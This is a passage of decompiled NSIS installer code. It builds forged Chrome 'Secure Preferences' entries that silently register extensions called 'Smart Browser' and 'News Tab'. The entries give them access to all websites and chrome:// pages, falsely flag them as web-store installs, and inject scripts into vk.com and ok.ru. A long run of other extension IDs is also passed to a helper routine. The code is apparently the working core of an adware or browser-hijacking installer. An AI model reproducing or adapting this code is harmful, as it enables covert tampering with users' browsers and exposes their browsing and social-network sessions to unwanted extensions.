Push lelnemepcfnebljimmaaabbdmogjhnpm
Call func_9411
Push pmpmnoinbkdojlnknogfeoagmhmhgakc
Call func_9411
Push bopfaehpakahokaelnomggbohfbimcia
Call func_9411
Push epidkblbijdjihifinfihbdhhckopdeh
Call func_9411
Push bhonpmhajbmbmpgedcmcoaalipnkpfli
Call func_9411
StrCmp $_32_ 1 label_10876
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_10876:
FunctionEnd
Function func_10877
StrCmp $_32_ 1 label_10884
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_10884:
Push iphaaafjhmkmljeoojhodfppbffnanmh
Call func_9411
Push mcefmojpghnaceadnghednjhbmphipkb
Call func_9411
Push lgblnfidahcdcjddiepkckcfdhpknnjh
Call func_9411
Push bcfkehefmehhjakkihiihniogdnddipm
Call func_9411
Push gojplegfnpcmoocloablkknghkoimpei
Call func_9411
Push mmpljmegdkddjkklnheaaldbcblcpjpb
Call func_9411
Push bhmmomiinigofkjcapegjjndpbikblnp
Call func_9411
Push dajedkncpodkggklbegccjpmnglmnflm
Call func_9411
Push cjlbafpolkhmndcompggmhmlmnpkbpje
Call func_9411
Push cjabmdjcfcfdmffimndhafhblfmpjdpe
Call func_9411
Push onnpamhldelphfpbjneadljcchmcbomn
Call func_9411
Push oggncfnllnkdfejkhahpaecgecnkmmgn
Call func_9411
Push ijepgjdjkdbopbnaopmlmobimmhjklhd
Call func_9411
Push jihoolckeipfajhonpomoabjlkonaoee
Call func_9411
Push inmpieponfdjfekdfdfgmhamccfddpfb
Call func_9411
Push pjnddijgaopgmmdhapkplmlfjomphopm
Call func_9411
Push phokcamelcbnjikjgomjjadeihhbbidh
Call func_9411
Push fbkdlibjhnblcbjjecnlpkldhbkedfhj
Call func_9411
Push jfanicgikhkgkpaojeagenehloabddfj
Call func_9411
Push fifkdcigeenjmecnjjcaknegfhlecbma
Call func_9411
Push eifknneknkbnhlfmcbfephojanhiomjo
Call func_9411
Push piaphheklodiededmbmgfcfbcagncgka
Call func_9411
Push mlepmakjdoedngidjlanekmdkllganmg
Call func_9411
Push ipjjmoaaiokdonnldckdhmhojapklmdi
Call func_9411
Push ccammhgkfelmohfpeblmnhaedffogagd
Call func_9411
StrCmp $_32_ 1 label_10942
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_10942:
FunctionEnd
Function func_10943
StrCmp $_32_ 1 label_10950
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_10950:
Push alikckkmddkoooodkchoheabgakpopmg
Call func_9411
Push fgijhgdlmdjhkjhpecjiepodoabpkpao
Call func_9411
Push gididmdehghjponcelkpolgcmecehdce
Call func_9411
Push mlimcdoaokfndjofnhhlhbnhkjjfkpob
Call func_9411
Push omliogndapmgocdoaiajclljamjfmnhb
Call func_9411
Push neffjgcockmfmkfjoffiomkjjehnjfab
Call func_9411
Push enkpnpkpemmomcbppdjmdaidgjlfobbj
Call func_9411
Push bjjlfiicpoabkjdenhnkjlmjlciealed
Call func_9411
Push ooeamnobedpgkckfbgcfcflhglafjfkc
Call func_9411
Push hikolaholpdebfmmhepipdpmjnnefkll
Call func_9411
Push jebdgdginjpgphhdempgjfbambgbpbii
Call func_9411
Push acoiihnnfofnpbnofdcgcapbjlcopifa
Call func_9411
Push hlmnfnjcpenlhcejilkgnicljjacjocf
Call func_9411
Push lgdnilodcpljomelbbnpgdogdbmclbni
Call func_9411
Push cpegcopcfajiiibidlaelhjjblpefbjk
Call func_9411
Push jdapmeocgbbceopcohmbeainapanicig
Call func_9411
Push fhikbdfdkmikgmemnmomnfhhnmcejkbb
Call func_9411
Push gfggmcmlkoplefkedicfngfkgkhhfmef
Call func_9411
Push jkfblcbjfojmgagikhldeppgmgdpjkpl
Call func_9411
Push ikhjfaoannmefiiecdalnhbhinmanpii
Call func_9411
Push pkljnnogdmlajgaoodihioopfdkpgjgg
Call func_9411
Push fghlbjjfaimocdbincabjnngocjeiaij
Call func_9411
Push cjgpmeoldcchbfbojmmimhgmlmbbdhaj
Call func_9411
Push hpcghcdjnehpkdecaflpedhklimnejia
Call func_9411
Push ppicnefllkbphfkmjbbjccddkpgholhk
Call func_9411
StrCmp $_32_ 1 label_11008
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_11008:
FunctionEnd
Function func_11009
StrCmp $_32_ 1 label_11016
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_11016:
Push hecejpfjaejfckdgibkmhoifjhpcipph
Call func_9411
Push pinhfkamckbogjgmbmdkdebbbpnmlaef
Call func_9411
Push sfthwlmoonafjtruebijjedllamaqlzn
Call func_9411
Push cpilejdnlhmhjgnhdoacogcgmlmogpdn
Call func_9411
Push ehfjihahbphdpljpiadbkmgmhnfehhgi
Call func_9411
Push fjgplcjpjdpknopnfbgjddpcfeklkjin
Call func_9411
Push fljnejggdkncoilcbhmdfcdcclldcdop
Call func_9411
Push khmddhpjnnanhbjphobcnmaojmonnjib
Call func_9411
Push ahnphcmhmhcjjcjhmnnjjlbmaeljecga
Call func_9411
Push nepakmljodobhlbbkpobblnifmhclemh
Call func_9411
Push gfhknphhohpfpjedlockclioojiiikeb
Call func_9411
Push pohdeklpacbplbljdkmccekiichicgba
Call func_9411
Push ocifcklkibdehekfnmflempfgjhbedch
Call func_9411
Push aahjclhmihkddabbcdbijgfmnimciael
Call func_9411
Push hilbjnajfehfhggoadmonbjbnliofolg
Call func_9411
Push jafgolepgbnjpdhljdfbpnmagefejnhg
Call func_9411
Push ojlcebdkbpjdpiligkdbbkdkfjmchbfd
Call func_9411
Push ccfifbojenkenpkmnbnndeadpfdiffof
Call func_9411
Push fcgnigmofekcllgbiejhmigggmgehkip
Call func_9411
Push egkimmibmjfhmgbdkdjblnkeejaaeeln
Call func_9411
Push bbgbjmaflmngclfepbgjlpoofmlkijhn
Call func_9411
Push phcogmapnhgdbmilclanafaljonkjppa
Call func_9411
Push moiplnkpedoenpkhopdmmakjcgpnanjj
Call func_9411
Push bbmegnmpleoagolcnjnejdacakedpcgd
Call func_9411
Push gpgegjjdogpgcodljdadjagmpaglfjac
Call func_9411
StrCmp $_32_ 1 label_11074
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_11074:
FunctionEnd
Function func_11075
StrCmp $_32_ 1 label_11082
nsJSON::Set /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; CallInstDLL $PLUGINSDIR\nsJSON.dll Set
label_11082:
Push oeekdcjpecgnckiklnbcegfmniahfnpf
Call func_9411
Push fidgfgjjfmicejfgkmmnoomabpnegocl
Call func_9411
Push hglggmlijdoohkncfpahcffenjfcnbkn
Call func_9411
Push bceciholkmjngdohanojikiiccgnmpdj
Call func_9411
Push ggmhognecmdcfkbcofenogmgmpgcbjlc
Call func_9411
Push mkcmanilmfjhibbenefmaiegfanjinfi
Call func_9411
Push kpkblmhjmheodbegpnnmkcehamnkddol
Call func_9411
Push fcppdfelojakeahklfgkjegnpbgndoch
Call func_9411
Push kemgadeojglibflomicgnfeopkdfflnk
Call func_9411
Push eoaimagebijdfnibcnbolmghchikkllp
Call func_9411
Push bggibicdeedcagmnibgoaggaciolkdhg
Call func_9411
Push amhepdeniigagehgfekfbgdkmnpjhlba
Call func_9411
Push leenkjhmbcgekojlkimcbodmniopgfnp
Call func_9411
Push jlpkjkcffdpndkfgmggbapogceiagkoe
Call func_9411
Push megbklhjamjbcafknkgmokldgolkdfig
Call func_9411
Push ljbnemldkgbgkkfkbjanbcioojmknglp
Call func_9411
Push jgenmkmmjonmiphhinjmefgdjhgceadg
Call func_9411
StrCmp $_32_ 1 label_11124
nsJSON::Serialize /format /file $_30_
; Call Initialize_____Plugins
; File $PLUGINSDIR\nsJSON.dll
; SetDetailsPrint lastused
; Push $_30_
; Push /file
; Push /format
; CallInstDLL $PLUGINSDIR\nsJSON.dll Serialize
label_11124:
FunctionEnd
Function func_11125
StrCmp $_66_ 1 label_11133
StrCmp $_51_ "" 0 label_11289
Push 6
Push 1
Call func_13173
Pop $8
StrCmp $8 "" 0 label_11133
StrCpy $8 1
label_11133:
StrCmp $_51_ ihbiedpeaicgipncdnnkikeehnjiddck label_11135
StrCmp $8 1 0 label_11141
label_11135:
StrCpy $_51_ ihbiedpeaicgipncdnnkikeehnjiddck
StrCpy $_55_ $_51_
Push $_55_
Call func_13239
Pop $_55_
StrCpy $_52_ MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCzHNKWyPS0Cgxe833ty7hHxH/RxmWUyY0gSQG7qADhfhjWaBxm45r+Bpzc5bPBcYL0jPXEBtTNQL496vuE1ppP72//A97riVppc1M9bn0cNve6a3eG29QBmAUEgk0Tnssg7nZ8DCQQ5Re0N94baoPdQXWIjrZO8/ZVNBx+urOmPwIDAQAB
label_11141:
StrCmp $_51_ npknnddabjhdijgmmbocdicnknegobkm label_11143
StrCmp $8 2 0 label_11149
label_11143:
StrCpy $_51_ npknnddabjhdijgmmbocdicnknegobkm
StrCpy $_55_ $_51_
Push $_55_
Call func_13239
Pop $_55_
StrCpy $_52_ MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC2ve+VH4Q1K29o1kF3LFgRln2EacpnDKkxMMvRVmYu4P5YpOM2yxpaSlr0AkidZi2HgQlKSwoNB2pR/fRfLdMQy+QjBdQB+FxACoZXioWYR+8j727BpdPt+onX6S9Ii9jMTFP02pQWaxCT4roVpYdGE4a+v/A932Xye0m3DHxK1QIDAQAB
label_11149:
StrCmp $_51_ mfgdmpfihlmdekaclngibpjhdebndhdj label_11151
StrCmp $8 3 0 label_11157
label_11151:
StrCpy $_51_ mfgdmpfihlmdekaclngibpjhdebndhdj
StrCpy $_55_ $_51_
Push $_55_
Call func_13239
Pop $_55_
StrCpy $_52_ MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQC76ZWflPI/tMLW+eelylcF+Gc0mx7tchYC4rWs2/N9R1jrEyq3ZrkPZutYEkRWzz8az6r5MVBdqsrM7MShp3xihyrhnMYbuUuN/Xx8SVU+LXgid4sBW2xF17V7/20n2SNlAoQSvtid5kxoiL+mbm5Kuq9/WAfWeYMTDA/Bx4tFBQIDAQAB
label_11157:
StrCmp $_51_ oghkljobbhapacbahlneolfclkniiami label_11159
StrCmp $8 4 0 label_11165
label_11159:
StrCpy $_51_ oghkljobbhapacbahlneolfclkniiami
StrCpy $_55_ $_51_
Push $_55_
Call func_13239
Pop $_55_
StrCpy $_52_ MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCNyJlz1NfUOvI1q7YiXjTvStaC99OmJCfnfo07UVF6N7/5coAGTUAASUYmdFd5LxTt4GOrODbzbbdOKO3iEuDtUZFklgvMO81tmoRPJNMf0cb1rpSfnmmB33xtgi2CWzmlVzx3pdbbkGwo2R+rwbeAQkG+zXvzgmnHDSt1a5zqjwIDAQAB
label_11165:
StrCmp $_51_ ihmgiclibbndffejedjimfjmfoabpcke label_11167
StrCmp $8 5 0 label_11173
label_11167:
StrCpy $_51_ ihmgiclibbndffejedjimfjmfoabpcke
StrCpy $_55_ $_51_
Push $_55_
Call func_13239
Pop $_55_
StrCpy $_52_ MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQDkOqWNYxiJx8tna4iC3m5gof8gEaRmi4c/DzV3DL34xUHVvoIUuVMiEM2jUjtrP07l9y3BYiZFE6gJ+J9YiWDMEetzO8Rr6kfKz1q7rxVruC1Ov1HimngpG87Ke0BJvFx3i9m/cmw93VvuPjtFSK1mQiXAucfDroBDVthjos8bAQIDAQAB
label_11173:
StrCmp $_51_ cfmnkhhioonhiehehedmnjibmampjiab label_11175
StrCmp $8 6 0 label_11181
label_11175:
StrCpy $_51_ cfmnkhhioonhiehehedmnjibmampjiab
StrCpy $_55_ $_51_
Push $_55_
Call func_13239
Pop $_55_
StrCpy $_52_ MIGfMA0GCSqGSIb3DQEBAQUAA4GNADCBiQKBgQCOTL79YGbTHdtMIYXBtM9sEXaHVP9W/FGm2dtuzxfkB8ouBKRuTERx6t0D1EScCioIJhRBy0/er8Ce3ebPrG/JC/4SIWA4CnKLy0T+jC7Gyfi6gLfZJrPLT60uWcXCmrSnzjmYCSMzmqStGRWcCdzjiQaF5KnmMdO7cpMeuhvs1QIDAQAB
label_11181:
StrCmp $_54_ "" label_11183
StrCmp $_54_ none 0 label_11200
label_11183:
Push 299
Push 101
Call func_13173
Pop $1
Push 9
Push 0
Call func_13173
Pop $2
Push 19
Push 0
Call func_13173
Pop $3
Push 199
Push 0
Call func_13173
Pop $4
StrCpy $_54_ $1.$2.$3.$4
label_11200:
Call func_11734
Pop $1
StrCmp $1 "" 0 label_11204
StrCpy $1 "Smart Browser"
label_11204:
StrCpy $2 $_51_\\$_54_\\
StrCpy $4 $_54_
StrCpy $_73_ {$\"active_permissions$\":{$\"api$\":[$\"background$\",$\"activeTab$\",$\"tabs$\",$\"unlimitedStorage$\",$\"storage$\"],$\"explicit_host$\":[$\"*://*/*$\",$\"chrome://*/*$\",$\"chrome://favicon/*$\"],$\"scriptable_host$\":[$\"*://odnoklassniki.ru/*$\",$\"*://ok.ru/*$\",$\"*://vk.com/*$\",$\"*://www.odnoklassniki.ru/*$\",$\"*://*.ok.ru/*$\",$\"*://*.vk.com/*$\"]},$\"creation_flags$\":9,$\"from_bookmark$\":false,$\"from_webstore$\":true,$\"granted_permissions$\":{$\"api$\":[$\"background$\",$\"activeTab$\",$\"tabs$\",$\"unlimitedStorage$\",$\"storage$\"],$\"explicit_host$\":[$\"*://*/*$\",$\"chrome://*/*$\",$\"chrome://favicon/*$\"],$\"scriptable_host$\":[$\"*://odnoklassniki.ru/*$\",$\"*://ok.ru/*$\",$\"*://vk.com/*$\",$\"*://www.odnoklassniki.ru/*$\",$\"*://*.ok.ru/*$\",$\"*://*.vk.com/*$\"]},
StrCpy $_74_ $\"initial_keybindings_set$\":true,$\"location$\":1,$\"manifest$\":{$\"background$\":{$\"persistent$\":true,$\"scripts$\":[$\"hash.js$\",$\"bg.js$\"]},$\"content_scripts$\":[{$\"css$\":[$\"css/bgvk.css$\"],$\"js$\":[$\"bgvk.js$\"],$\"matches$\":[$\"*://vk.com/*$\",$\"*://*.vk.com/*$\"]},{$\"css$\":[$\"css/bgok.css$\"],$\"js$\":[$\"bgok.js$\"],$\"matches$\":[$\"*://ok.ru/*$\",$\"*://*.ok.ru/*$\",$\"*://odnoklassniki.ru/*$\",$\"*://www.odnoklassniki.ru/*$\"]}],$\"current_locale$\":$\"ru$\",$\"default_locale$\":$\"ru$\",$\"description$\":$\"$\",$\"icons$\":{$\"128$\":$\"img/48.png$\",$\"16$\":$\"img/48.png$\",$\"48$\":$\"img/48.png$\"},
StrCpy $_75_ $\"key$\":$\"$_52_$\",
StrCpy $_76_ $\"manifest_version$\":2,$\"name$\":$\"$1$\",$\"permissions$\":[$\"background$\",$\"*://*/*$\",$\"chrome://*/*$\",$\"unlimitedStorage$\",$\"storage$\",$\"tabs$\",$\"activeTab$\"],$\"update_url$\":$\"https://clients2.google.com/service/update2/crx?response=redirect$\",$\"version$\":$\"$4$\"},$\"path$\":$\"$2$\",$\"state$\":1,$\"was_installed_by_default$\":false}
StrCmp $_66_ 1 label_11234
StrCpy $_67_ {$\"active_permissions$\":{$\"api$\":[$\"activeTab$\",$\"tabs$\",$\"unlimitedStorage$\",$\"storage$\"],$\"explicit_host$\":[$\"*://*/*$\",$\"chrome://*/*$\",$\"chrome://favicon/*$\"],$\"scriptable_host$\":[$\"*://odnoklassniki.ru/*$\",$\"*://ok.ru/*$\",$\"*://vk.com/*$\",$\"*://www.odnoklassniki.ru/*$\",$\"*://*.ok.ru/*$\",$\"*://*.vk.com/*$\"]},$\"creation_flags$\":137,$\"from_bookmark$\":false,$\"from_webstore$\":true,$\"granted_permissions$\":{$\"api$\":[$\"activeTab$\",$\"tabs$\",$\"unlimitedStorage$\",$\"storage$\"],$\"explicit_host$\":[$\"*://*/*$\",$\"chrome://*/*$\",$\"chrome://favicon/*$\"],$\"scriptable_host$\":[$\"*://odnoklassniki.ru/*$\",$\"*://ok.ru/*$\",$\"*://vk.com/*$\",$\"*://www.odnoklassniki.ru/*$\",$\"*://*.ok.ru/*$\",$\"*://*.vk.com/*$\"]},
StrCpy $_68_ $\"initial_keybindings_set$\":true,$\"location$\":1,$\"manifest$\":{$\"background$\":{$\"persistent$\":true,$\"scripts$\":[$\"hash.js$\",$\"bg.js$\"]},$\"content_scripts$\":[{$\"css$\":[$\"css/bgvk.css$\"],$\"js$\":[$\"bgvk.js$\"],$\"matches$\":[$\"*://vk.com/*$\",$\"*://*.vk.com/*$\"]},{$\"css$\":[$\"css/bgok.css$\"],$\"js$\":[$\"bgok.js$\"],$\"matches$\":[$\"*://ok.ru/*$\",$\"*://*.ok.ru/*$\",$\"*://odnoklassniki.ru/*$\",$\"*://www.odnoklassniki.ru/*$\"]}],$\"current_locale$\":$\"ru$\",$\"default_locale$\":$\"ru$\",$\"description$\":$\"$\",$\"icons$\":{$\"128$\":$\"img/48.png$\",$\"16$\":$\"img/48.png$\",$\"48$\":$\"img/48.png$\"},
StrCpy $_69_ $\"key$\":$\"$_52_$\",
StrCpy $_70_ $\"manifest_version$\":2,$\"name$\":$\"$1$\",$\"permissions$\":[$\"*://*/*$\",$\"chrome://*/*$\",$\"unlimitedStorage$\",$\"storage$\",$\"tabs$\",$\"activeTab$\"],$\"update_url$\":$\"https://clients2.google.com/service/update2/crx$\",$\"version$\":$\"$4$\"},$\"path$\":$\"$2$\",$\"state$\":1,$\"was_installed_by_default$\":false}
StrCpy $_71_ ""
StrCpy $_72_ ""
IfFileExists $PLUGINSDIR\SecurePreferences 0 label_11219
Delete $PLUGINSDIR\SecurePreferences
label_11219:
FileOpen $1 $PLUGINSDIR\SecurePreferences w
FileWrite $1 $_67_
FileClose $1
FileOpen $1 $PLUGINSDIR\SecurePreferences a
FileSeek $1 0 END
FileWrite $1 $_68_
FileClose $1
FileOpen $1 $PLUGINSDIR\SecurePreferences a
FileSeek $1 0 END
FileWrite $1 $_69_
FileClose $1
FileOpen $1 $PLUGINSDIR\SecurePreferences a
FileSeek $1 0 END
FileWrite $1 $_70_
FileClose $1
label_11234:
IfFileExists $PLUGINSDIR\SecurePreferencesYABR 0 label_11236
Delete $PLUGINSDIR\SecurePreferencesYABR
label_11236:
FileOpen $1 $PLUGINSDIR\SecurePreferencesYABR w
FileWrite $1 $_73_
FileClose $1
FileOpen $1 $PLUGINSDIR\SecurePreferencesYABR a
FileSeek $1 0 END
FileWrite $1 $_74_
FileClose $1
FileOpen $1 $PLUGINSDIR\SecurePreferencesYABR a
FileSeek $1 0 END
FileWrite $1 $_75_
FileClose $1
FileOpen $1 $PLUGINSDIR\SecurePreferencesYABR a
FileSeek $1 0 END
FileWrite $1 $_76_
FileClose $1
StrCmp $_66_ 1 label_11289
StrCpy $_55_ $_51_
Push $_55_
Call func_13239
Pop $_55_
WriteINIStr $EXEDIR\le LE ID $_55_
Push $R0
Push $R1
Push $R2
Push $0
Push $1
Push $2
Push $3
Push $4
Push $5
Push $6
Push $7
Push $_54_
Push ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/
Call func_19
Pop $_13_
Pop $7
Pop $6
Pop $5
Pop $4
Pop $3
Pop $2
Pop $1
Pop $0
Pop $R2
Pop $R1
Pop $R0
Push $_13_
Pop $1
StrCpy $2 $_55_ 2
StrCpy $3 $_55_ "" -1
StrCpy $3 $3$2 3
WriteINIStr $EXEDIR\le LE VER $3$1
label_11289:
FunctionEnd
Function func_11290
StrCmp $_66_ 1 label_11298
StrCmp $_138_ "" 0 label_11440
Push 3
Push 1
Call func_13173
Pop $8
StrCmp $8 "" 0 label_11298
StrCpy $8 1
label_11298:
StrCmp $_138_ aaebjepcfidgkojljbgoilgkgklehldj label_11300
StrCmp $8 1 0 label_11305
label_11300:
StrCpy $_138_ aaebjepcfidgkojljbgoilgkgklehldj
Push $_138_
Call func_13239
Pop $_140_
StrCpy $_53_ MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAh32EE4lZDkbUGJpC4NLwKlwtGSPVgt1OXZl4avtz5Rj3NyIi5n2BCbHeAhCxu3CzzrHAL6kq6UA3y8AfXOBhwV3IbgnMa0yYUfeebsK0PAWSpre1nufcLLRr/aUYxZZUeJcJO2LhKaBYRSoz85T8zAcP7TMYh4ip8tHzIQT0EQOnkXH1s38XzDe/KwE15k2+bclDwwWXtUu0dwuih7iVIDHTuSfNXkIqBx2aSaZu5X23ZilYCi7uXreMeVwaPWXl6HlzldMS3IPctxr9Ido8IJpbU35Qw20RFVuU7Iq1oi+Tlyb5X6AgYJcmsj3Mqb2C5ZF6ajLusJ2m5GpzIkmIgQIDAQAB
label_11305:
StrCmp $_138_ cnaibnehbbinoohhjafknihmlopdhhip label_11307
StrCmp $8 2 0 label_11312
label_11307:
StrCpy $_138_ cnaibnehbbinoohhjafknihmlopdhhip
Push $_138_
Call func_13239
Pop $_140_
StrCpy $_53_ MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAhWfaXYYIO5XiM5plSD/PU6ofoNJ0k5hVYfnNim+dDKMAO76QMJuYfSfAuku0yJt7eUMe6z6t501YkZ6FvBHOY0QW8Bkqyr3EZ9XyLJopm95hyIk/7gvii1b2cgyYEDUXEKZ4BdXy5IhllL9XH9BeMSSzoJA9ME3K83YGz/T5vO795ae0JOI5ASI6lJ33luqOUp/iiolw0GlBrUhPn4ThNYwJAvKXWi/2RScUSvahlrJbDAyLv0Zf2PPuXxAeAssCcA65ydDg0YDbnz70foRXFeG+Cjj8qp+QT1XQurgtbzibJMJj1oy/xs0CfvKcT1/X7dTsLiMvsMJss5ovPuhDfwIDAQAB
label_11312:
StrCmp $_138_ jolakggdcbngpflcjfaencffnenhlddl label_11314
StrCmp $8 3 0 label_11319
label_11314:
StrCpy $_138_ jolakggdcbngpflcjfaencffnenhlddl
Push $_138_
Call func_13239
Pop $_140_
StrCpy $_53_ MIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAnCUW2ObWMLWBnJx+vHEYWdYPeXXHFJ4BUtd39JSoKU3qF+xbtCdogU9HHNXZNXDWjq5M19uWU0kS1pLiGlXH9ShLXCQ+deE+wwAEmeD1Q/tt1f0HGU9FnS6qkhERN+KDs354JGSl7Y99gE9IEf4JkHGnOOQEEqA9jG5YXWzlI3Cj7fQZY+vuWcV+vWdBhBz+fm8VuqbjCfO1r++vtAen/2jVHK330AnXSMDnBG04jyvBJo/oSZ2QxwYCyibi1zekRqNfL8YQtNDH/PRtMk06Y/HPDaQDRfrws7/kZAFqFP7cl+aqZnso517YUJnlFyPNxTCtwFnyY71mCzFMzEGQ7QIDAQAB
label_11319:
StrCmp $_139_ "" label_11321
StrCmp $_139_ none 0 label_11338
label_11321:
Push 299
Push 101
Call func_13173
Pop $1
Push 9
Push 0
Call func_13173
Pop $2
Push 19
Push 0
Call func_13173
Pop $3
Push 199
Push 0
Call func_13173
Pop $4
StrCpy $_139_ $1.$2.$3.$4
label_11338:
StrCpy $1 "News Tab"
StrCpy $2 $_138_\\$_139_\\
StrCpy $4 $_139_
StrCpy $_147_ {$\"ack_ntp_bubble$\":true,$\"active_permissions$\":{$\"api$\":[$\"background$\",$\"activeTab$\",$\"tabs$\",$\"unlimitedStorage$\",$\"storage$\"],$\"explicit_host$\":[$\"*://*/*$\",$\"chrome://*/*$\",$\"chrome://favicon/*$\"],$\"scriptable_host$\":[$\"$\"]},$\"creation_flags$\":9,$\"from_bookmark$\":false,$\"from_webstore$\":true,$\"granted_permissions$\":{$\"api$\":[$\"background$\",$\"activeTab$\",$\"tabs$\",$\"unlimitedStorage$\",$\"storage$\"],$\"explicit_host$\":[$\"*://*/*$\",$\"chrome://*/*$\",$\"chrome://favicon/*$\"],$\"scriptable_host$\":[$\"$\"]},
StrCpy $_148_ $\"initial_keybindings_set$\":true,$\"location$\":1,$\"manifest$\":{$\"background$\":{$\"persistent$\":true,$\"scripts$\":[$\"main.js$\"]},$\"current_locale$\":$\"ru$\",$\"default_locale$\":$\"ru$\",$\"description$\":$\"$\",$\"icons$\":{$\"128$\":$\"img/48.png$\",$\"16$\":$\"img/48.png$\",$\"48$\":$\"img/48.png$\"},
StrCpy $_149_ $\"key$\":$\"$_53_$\",
StrCpy $_150_ $\"manifest_version$\":2,$\"name$\":$\"$1$\",$\"permissions$\":[$\"background$\",$\"*://*/*$\",$\"chrome://*/*$\",$\"unlimitedStorage$\",$\"storage$\",$\"tabs$\",$\"activeTab$\"],$\"update_url$\":$\"https://clients2.google.com/service/update2/crx?response=redirect$\",$\"version$\":$\"$4$\"},$\"path$\":$\"$2$\",$\"state$\":1,$\"was_installed_by_default$\":false}
StrCmp $_66_ 1 label_11385
StrCpy $_142_ {$\"ack_ntp_bubble$\":true,$\"active_permissions$\":{$\"api$\":[$\"activeTab$\",$\"tabs$\",$\"unlimitedStorage$\",$\"storage$\"],$\"explicit_host$\":[$\"*://*/*$\",$\"chrome://*/*$\",$\"chrome://favicon/*$\"],$\"scriptable_host$\":[$\"$\"]},$\"creation_flags$\":137,$\"from_bookmark$\":false,$\"from_webstore$\":true,$\"granted_permissions$\":{$\"api$\":[$\"activeTab$\",$\"tabs$\",$\"unlimitedStorage$\",$\"storage$\"],$\"explicit_host$\":[$\"*://*/*$\",$\"chrome://*/*$\",$\"chrome://favicon/*$\"],$\"scriptable_host$\":[$\"$\"]},
StrCpy $_143_ $\"initial_keybindings_set$\":true,$\"location$\":1,$\"manifest$\":{$\"background$\":{$\"persistent$\":true,$\"scripts$\":[$\"main.js$\"]},$\"current_locale$\":$\"ru$\",$\"default_locale$\":$\"ru$\",$\"description$\":$\"$\",$\"icons$\":{$\"128$\":$\"img/48.png$\",$\"16$\":$\"img/48.png$\",$\"48$\":$\"img/48.png$\"},
StrCpy $_144_ $\"initial_keybindings_set$\":true,$\"location$\":1,$\"manifest$\":{$\"chrome_url_overrides$\":{$\"newtab$\":$\"index.html$\"},$\"current_locale$\":$\"ru$\",$\"default_locale$\":$\"ru$\",$\"description$\":$\"$\",$\"icons$\":{$\"128$\":$\"img/48.png$\",$\"16$\":$\"img/48.png$\",$\"48$\":$\"img/48.png$\"},
StrCpy $_145_ $\"key$\":$\"$_53_$\",
StrCpy $_146_ $\"manifest_version$\":2,$\"name$\":$\"$1$\",$\"permissions$\":[$\"*://*/*$\",$\"chrome://*/*$\",$\"unlimitedStorage$\",$\"storage$\",$\"tabs$\",$\"activeTab$\"],$\"update_url$\":$\"https://clients2.google.com/service/update2/crx$\",$\"version$\":$\"$4$\"},$\"path$\":$\"$2$\",$\"state$\":1,$\"was_installed_by_default$\":false}
IfFileExists $PLUGINSDIR\SecurePreferencesNTCH 0 label_11353
Delete $PLUGINSDIR\SecurePreferencesNTCH
label_11353:
FileOpen $1 $PLUGINSDIR\SecurePreferencesNTCH w
FileWrite $1 $_142_
FileClose $1
FileOpen $1 $PLUGINSDIR\SecurePreferencesNTCH a
FileSeek $1 0 END
FileWrite $1 $_144_
FileClose $1
FileOpen $1 $PLUGINSDIR\SecurePreferencesNTCH a
FileSeek $1 0 END
FileWrite $1 $_145_
FileClose $1
FileOpen $1 $PLUGINSDIR\SecurePreferencesNTCH a
FileSeek $1 0 END
FileWrite $1 $_146_
FileClose $1
IfFileExists $PLUGINSDIR\SecurePreferencesNT 0 label_11370
Delete $PLUGINSDIR\SecurePreferencesNT
label_11370:
FileOpen $1 $PLUGINSDIR\SecurePreferencesNT w
FileWrite $1 $_142_
FileClose $1
FileOpen $1 $PLUGINSDIR\SecurePreferencesNT a
FileSeek $1 0 END
FileWrite $1 $_143_
FileClose $1
FileOpen $1 $PLUGINSDIR\SecurePreferencesNT a
FileSeek $1 0 END
FileWrite $1 $_145_
FileClose $1
FileOpen $1 $PLUGINSDIR\SecurePreferencesNT a
FileSeek $1 0 END
FileWrite $1 $_146_
FileClose $1
label_11385:
IfFileExists $PLUGINSDIR\SecurePreferencesNTYABR 0 label_11387
Delete $PLUGINSDIR\SecurePreferencesNTYABR
label_11387:
FileOpen $1 $PLUGINSDIR\SecurePreferencesNTYABR w
FileWrite $1 $_147_
FileClose $1
FileOpen $1 $PLUGINSDIR\SecurePreferencesNTYABR a
FileSeek $1 0 END
FileWrite $1 $_148_
FileClose $1
